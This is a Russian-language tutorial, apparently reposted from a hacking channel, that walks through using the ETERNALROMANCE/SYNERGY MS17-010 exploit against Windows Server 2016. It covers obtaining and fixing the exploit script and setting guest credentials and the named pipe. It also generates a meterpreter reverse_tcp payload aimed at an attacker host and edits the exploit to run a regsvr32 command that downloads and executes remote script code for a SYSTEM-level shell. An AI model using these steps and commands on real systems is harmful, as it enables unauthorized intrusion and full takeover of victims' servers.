Взлом ПК с помощью эксплоита ETERNALROMANCE/SYNERG.
@darkside_team
Данная статья является переводом от зарубежного специалиста в ИБ
(Автор: Sheila A. Berta (@UnaPibaGeek))
Введение
Когда компания Microsoft выпустила патчи для уязвимости MS17-010, было сообщено, что проблема касается платформ, начиная от Windows 7 (если быть совсем точным, то и Windows Vista тоже) и заканчивая Windows Server 2016. Хотя эксплоиты под кодовым названием "ETERNALS", опубликованные группой TheShadowBrokers, которые пригодны для эксплуатации в Windows Server 2012 и более современных системах, - очень нестабильны и в 99% случаев вызывают BSOD на машине жертвы.
С целью понимания и улучшения эксплоитов от NSA, опубликованные работы были проанализированы многими специалистами по безопасности. Как итог, некоторое время назад появилась более стабильная версия (разработанная исследователем Sleepya) эксплоита ETERNALROMANCE/SYNERGY с улучшенным методом эксплуатации и направленным на системы под управлением Windows Server 2012 и 2016. Однако для того чтобы использовать этот эксплоит необходимо разобраться в механизме работы этого скрипта и модифицировать некоторые вещи для получения желаемого результата.
В этой статье будут даны пошаговые рекомендации для того, чтобы эксплоит работал корректно, а также разъяснения относительно модификации с целью получения meterpreter-сессии на целевой машине.
Как обычно, вся информация приводится в ознакомительных целях.
Настройка лабораторной среды
Для настройки лабораторной среды нужно сконфигурировать следующие системы:
Целевая система - Windows Server 2016
Эта машина с установленной 64-битной операционной системой Windows Server 2016 будет использоваться в качестве целевой.
После установки операционной системы дополнительные настройки не требуются. Достаточно знать IP-адрес и убедиться в том, что машина включена на момент атаки.
Система злоумышленника - GNU/Linux
Возможно использование любой другой операционной системы, которая поддерживает работу следующих инструментов:
- Python v2.7 - https://www.python.org/download/releases/2.7/
- Ps1Encode - https://github.com/CroweCybersecurity/ps1encode
- Metasploit Framework - https://github.com/rapid7/metasploit-framework
В итоге у нас есть две настроенные машины, используемые в лабораторной среде:
- Windows Server 2016 x64 – IP-адрес: 10.0.2.13 - Целевая система.
- GNU/Linux Debian x64 – IP-адрес: 10.0.2.6 - Система злоумышленника.
Получение эксплоита
Эксплоит можно скачать по следующей ссылке:
https://www.exploit-db.com/exploits/42315/.
Поскольку скрипт написан на Python, сохраняем файл с расширением .py на машине злоумышленника. Во время запуска возникает следующая ошибка:
Решение проблем с зависимостями
В третьей строке эксплоита импортируется модуль "mysmb", которого нет в Python. Установить этот модуль, разработанный Sleepya, можно установить при помощи утилиты pip, либо скачать по следующей ссылке: https://github.com/worawit/MS17-010/blob/master/mysmb.py.
Файл модуля с именем "mysmb.py" помещаем в папку со скриптом. Для того чтобы эксплоит смог импортировать код модуля, необходимо создать файл с именем «__INIT__.py» с перечнем нужных модулей.
Теперь скрипт сможет найти нужный модуль и не будет выдавать ошибок:
Проверка работоспособности эксплоита
Возможна проверка работоспособности эксплоита без каких-либо модификаций. Если мы запустим скрипт как есть по завершению работы в корневой директории диска C:\ на целевой машине будет создан файл с именем "pwned.txt".
Несмотря на то, что в простейшем случае никакие изменения не требуются, конкретно в вашей ситуации может потребоваться модификация некоторых параметров.
Аутентификация
Уязвимость, используемая в эксплоите ETERNALROMANCE/SYNERGY, требует аутентификации. Эксплуатацию можно осуществить через гостевую учетную запись. Если гостевой аккаунт отключен, нам нужно получить имя пользователя и пароль любой другой учетной записи, которая используется на целевой машине. Важно отметить, что уровень привилегий не имеет значения. Даже если учетная запись с гостевыми правами, после атаки привилегии будут повышены до системного уровня.
Информация об учетной записи задается в файле exploit.py в строках 26-27:
Параметры
Для корректной работы эксплоита необходимо настроить два параметра: IP-адрес целевой машины и имя канала (pipe name). Протокол SMB поддерживает три типа общих ресурсов:
- File: файловые (или дисковые) общие ресурсы, представляющие собой дерево директорий с файлами.
- Print: доступ к ресурсам принтера на сервере.
- Pipe: коммуникация между процессами, использующими модель FIFO, при помощи именованных каналов, которые активны до тех пор, пока система работает, даже если процесс уже не активен.
В отличие от ETERNALBLUE эксплоиты ETERNALROMANCE и ETERNALSYNERGY используют именованные каналы, и, соответственно, нужно выбрать тип канала, который необходим во время атаки.
Лично я пользуюсь «spoolss». Альтернативный вариант: «browser». Кроме того, можно воспользоваться сканером auxiliary/scanner/smb/pipe_auditor в metasploit для поиска доступных каналов на целевой машине.
Запуск без шелл-кода
Теперь запускаем эксплоит при помощи следующей команды:
python exploit.py <target_ip> spoolss
Как было сказано ранее, если эксплуатация завершилась успешно, в корневой директории диска «C:\» появится новый файл «pwned.txt».
pwned.txt
На данный момент мы уже сделали большой шаг, выполнив успешную эксплуатацию. Теперь нужно модифицировать эксплоит так, чтобы запустить шелл в meterpreter.
Создание шелл-кода
Существует множество способов запустить meterpreter-шелл или выполнить какие-либо другие действия вместо создания текстового файла.
Первый шаг – генерирование шелл-кода, который мы будем использовать в дальнейшем. Лично я очень люблю один метод, у которого масса преимуществ, когда речь заходит про обход различных защит.
Шелл-код будет помещен в файл .SCT, который эксплоит будет загружать и запускать на целевой машине, в результате чего мы получим долгожданную meterpreter-сессию.
Создание файла .SCT при помощи утилиты PS1ENCODE
Ps1encode позволяет сгенерировать и закодировать полезные нагрузки для metasploit в различных форматах на базе PowerShell.
Эту утилиту можно загрузить на github: https://github.com/CroweCybersecurity/ps1encode.
Для генерирования нужной полезной нагрузки нам необходимо запустить Ps1encode со следующими параметрами:
ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=<ATTACKER_IP> --LPORT=4444 -t sct
Сгенерированный файл .SCT должен храниться на веб-сервере на машине злоумышленника или в любом другом месте, к которому можно получить доступ из целевой системы. Поэтому при запуске предыдущей команды задается вопрос о том, какой будет полный URL, где мы будем хранить файл .sct. Если будет использоваться машина злоумышленника, нужно ввести следующий URL: http://<ATTACKER_IP>.
Помещение шелл-кода в место, доступное из целевой системы
На предыдущем шаге мы создали файл index.sct в папке утилиты Ps1Encode. Чтобы этот файл был доступен для загрузки эксплоитом на целевой машине мы должны поместить полезную нагрузку в папку веб-сервера и назначить нужные права.
После выполнения команд, показанных на рисунке выше, у нас появляется шелл-код, готовый к употреблению.
Изменение эксплоита
Если мы откроем скрипт в текстовом редакторе и перейдем к строке 463 (и ниже), то увидим следующий код:
На рисунке выше показаны функции, используемые для создания файла «pwned.txt» на целевой машине. Более интересной для нас является закомментированная строка с функцией service_exec().
Функция service_exec() в качестве примера выполняет команду «copy» для создания копии файла «pwned.txt». Эта строка кода не будет выполняться до тех пор, пока вначале стоит символ «#». Если убрать этот символ и запустить эксплоит повторно, мы увидим, что в корне диска «C:\» появилось два файла: pwned.txt и pwned_exec.txt.
Вместо команды copy можно поставить любую другую, которая нам необходима.
Запуск шелл-кода
Теперь мы знаем, в каком месте нужно модифицировать эксплоит для выполнения команды загрузки и запуска шелла в meterpreter:
regsvr32 /s /n /u /i:http://<attacker_webserver_ip>/shellcode.sct scrobj.dll
Эксплоит будет выглядеть так:
Получение Meterpreter-сессии
В самом конце, перед запуском эксплоита, мы должны настроить модуль exploit/multi/handler для получения meterpreter-сессии.
Далее запускаем модифицированную версию эксплоита:
Через несколько секунд мы получим meterpreter-сессию на целевой машине с системными привилегиями.
The End.